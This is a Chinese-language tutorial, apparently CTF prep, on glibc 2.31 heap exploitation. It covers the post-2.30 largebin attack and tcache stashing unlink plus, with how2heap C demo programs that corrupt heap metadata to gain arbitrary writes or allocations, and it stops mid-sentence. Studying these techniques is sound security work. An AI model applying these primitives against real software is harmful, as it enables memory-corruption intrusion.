在复现这题之前需要了解一些前置知识:libc2.31下的largebin_attack
,tcache_stashing_unlink plus
以及高版本glibc下的IO_FILE
攻击
首先看到libc2.31下的largebin_attack
0x1.libc2.31下的largebin_attack
跟随how2heap项目中的largebin_attack以及源码调试来学习。
从libc2.30开始,largebin的插入代码中新增了两个检查
先看到第一个点
将unsortedbin插入到largebin中时,且这个unsortedbin大于largebin的size,此时插入过程增加了双向链表完整性检查。
通常就是修改largebin的bk_nextsize=target_addr-0x20
,然后在插入一个比原有largebin更大的unsortedbin时(后面称原有的largebin为largebin1,新插入的为largebin2),在插入过程中,largebin1的bk_nextsize被设置为largebin1的bk_nextsize,即target_addr-0x20,后续victim->bk_nextsize->fd_nextsize = victim
这条语句,会将target_addr-0x20+0x20
位置写入largebin2的地址,这是第一个点。
第二个点如下
这里的利用方式是修改largebin1的bk=target_addr-0x10,bck = fwd->bk;bck->fd = victim;
这两句代码执行完毕后会将target_addr-0x10+0x10
的位置写入largebin1的地址。
如图所示,这两处都添加了检查。
但当要插入的unsortedbin小于largebin的size时并没有做检查,如下图
在这里并没有进行检查,因此在libc2.31下这里就成了新的利用点。
demo文件如下
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
/*
A revisit to large bin attack for after glibc2.30
Relevant code snippet :
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
*/
int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
size_t target = 0;
size_t *p1 = malloc(0x428);
size_t *g1 = malloc(0x18);
size_t *p2 = malloc(0x418);
size_t *g2 = malloc(0x18);
free(p1);
size_t *g3 = malloc(0x438);
free(p2);
p1[3] = (size_t)((&target)-4);
size_t *g4 = malloc(0x438);
assert((size_t)(p2-2) == target);
return 0;
}
我删掉了原文件中的一些描述性代码,以便于观看代码。
整体攻击思路就是申请一大一小两个chunk(后面称为chunk1,chunk2),先free掉chunk1,然后申请一个更大的chunk来将chunk1从unsortedbin中插入到largebin,接着将chunk1的bk_nextsize设置为target_addr-0x20,这是第一步;第二步,free掉chunk2,然后申请一个更大的chunk来将chunk2从unsortedbin中插入到largebin中,由于此时插入的chunk2的size要小于chunk1,所以会触发新的攻击流程,这里我们采用源码调试,以便更直观地学习。
在程序执行到size_t *g4 = malloc(0x438);
这一句时,堆的情况如下
largebin里放着0x430的chunk,unsortedbin里面则是0x420的
chunk1的bk_nextsize被设置为了target_addr-0x20
接下来我们将断点下在_int_malloc函数
然后我们运行到将unsortedbin插入到largebin的代码
首先获取要插入的unsortedbin对应的largebin的index,然后获取到对应的链表头
由于此时largebin中已经有了一个chunk,所以对应链表头的fd和bk都被设置为了这个largebin的地址,类似于下面这样
然后进入到插入环节
将bck,也就是链表头赋值给fwd,将bck->bk(chunk1的地址)赋值给bck,进入到插入操作,首先将chunk2(即将插入的chuhnk)的fd_nextsize设置为chunk1的地址
再将chunk2的bk_nextsize设置为chunk1的bk_nextsize,而chunk1的bk_nextsize已经被修改为了target_addr-0x20,因此chunk2的bk_nextsize也会指向target_addr-0x20
最后一行代码用于修改chunk1的fd_nextsize和bk_nextsize为chunk2的地址,由于设置chunk1的fd_nextsize是通过
victim->bk_nextsize->fd_nextsize
来设置的,而victim->bk_nextsize
指向的是一个错误的地址,执行完这条赋值语句后就会在target_addr+0x20的位置上写入chunk2的地址
至此就实现了类似于libc2.23下的unsortedbin attack,往任意地址写入一个堆地址。
0x2.tcache_stashing_unlink plus
此种利用方式可以达成任意地址处分配一个chunk
demo如下
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
static uint64_t victim[4] = {0, 0, 0, 0};
int main(int argc, char **argv){
setbuf(stdout, 0);
setbuf(stderr, 0);
char *t1;
char *s1, *s2, *pad;
char *tmp;
printf("You can use this technique to get a tcache chunk to arbitrary address\n");
printf("\n1. need to know heap address and the victim address that you need to attack\n");
tmp = malloc(0x1);
printf("victim's address: %p, victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
&victim, victim[0], victim[1], victim[2], victim[3]);
printf("heap address: %p\n", tmp-0x260);
printf("\n2. change victim's data, make victim[1] = &victim, or other address to writable address\n");
victim[1] = (uint64_t)(&victim);
printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);
printf("\n3. choose a stable size and free five identical size chunks to tcache_entry list\n");
printf("Here, I choose the size 0x60\n");
for(int i=0; i<5; i++){
t1 = calloc(1, 0x50);
free(t1);
}
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p\n",
t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
printf("\n4. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");
s1 = malloc(0x420);
printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
pad = malloc(0x20);
printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
free(s1);
printf("Free chunk %p to unsortedbin\n", s1);
malloc(0x3c0);
printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
malloc(0x100);
printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);
printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);
printf("\n5. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");
printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
printf("\n6. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");
calloc(1, 0x50);
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n",
&victim, s2+0x3d0, t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
printf("Apply to tcache_entry[4], you can get a pointer to victim address\n");
uint64_t *r = (uint64_t*)malloc(0x50);
r[0] = 0xaa;
r[1] = 0xbb;
r[2] = 0xcc;
r[3] = 0xdd;
printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);
return 0;
}
整体思路如下
1.tcache
中放5
个,smallbin
中放两个
2.将后进smallbin
的chunk
的bk
(不破坏fd
指针的情况下)修改为目标地址-0x10
,同时将目标地址+0x8
处的值设置为一个指向可写内存的指针。
3.从smallbin中取一个chunk,走完stash流程,目标地址就会被链入tcache中。
依然是源码调试
将断点下在calloc(1, 0x50);</